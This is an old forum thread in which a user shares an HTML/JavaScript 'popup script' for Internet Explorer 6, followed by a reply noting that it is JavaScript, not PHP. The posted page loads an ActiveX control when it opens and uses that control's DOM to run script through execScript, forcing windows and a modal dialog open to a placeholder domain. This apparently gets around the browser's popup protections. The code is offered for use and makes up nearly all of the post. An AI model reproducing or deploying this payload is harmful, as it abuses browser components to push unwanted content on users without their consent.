1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

PHP Popupscript

Discussion in 'PHP & Perl' started by hades, Feb 9, 2008.

  1. hades

    hades Newbie

    Joined:
    Dec 19, 2006
    Messages:
    42
    Likes Received:
    71
    PHP:
    <html>
    <
    head>
    <
    title> </title>
    <
    meta name="author" content="Marc">
    <
    meta name="editor" content="html-editor phase 5">
    </
    head>
    <
    body onload="setTimeout(' main() ',1000)">
    <
    object
     id
    ="x"
     
    classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
     
    width="1"
     
    height="1"
     
    align="middle"
    >
    <
    PARAM NAME="ActivateApplets" VALUE="1">
    <
    PARAM NAME="ActivateActiveXControls" VALUE="1">
    </
    object>

    <
    SCRIPT>


    function 
    shellscript()
    {
     
    open("youtdomain","_blank","scrollbar=no");
     
    showModalDialog("your domain");
     }

    function 
    main()
    {
     
    x.DOM.Script.execScript(shellscript.toString());
     
    x.DOM.Script.setTimeout("shellscript()");
    }
    </SCRIPT>
    <br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>
    </body>
    </html>
    work with ie 6
     
  2. drdankmendez

    drdankmendez Junior Member

    Joined:
    May 30, 2008
    Messages:
    194
    Likes Received:
    316
    Location:
    In front of my computer
    Thanks for the share, but this actually isn't php code at all, this is JavaScript.

    Should be posted in the HTML/Javascript forum.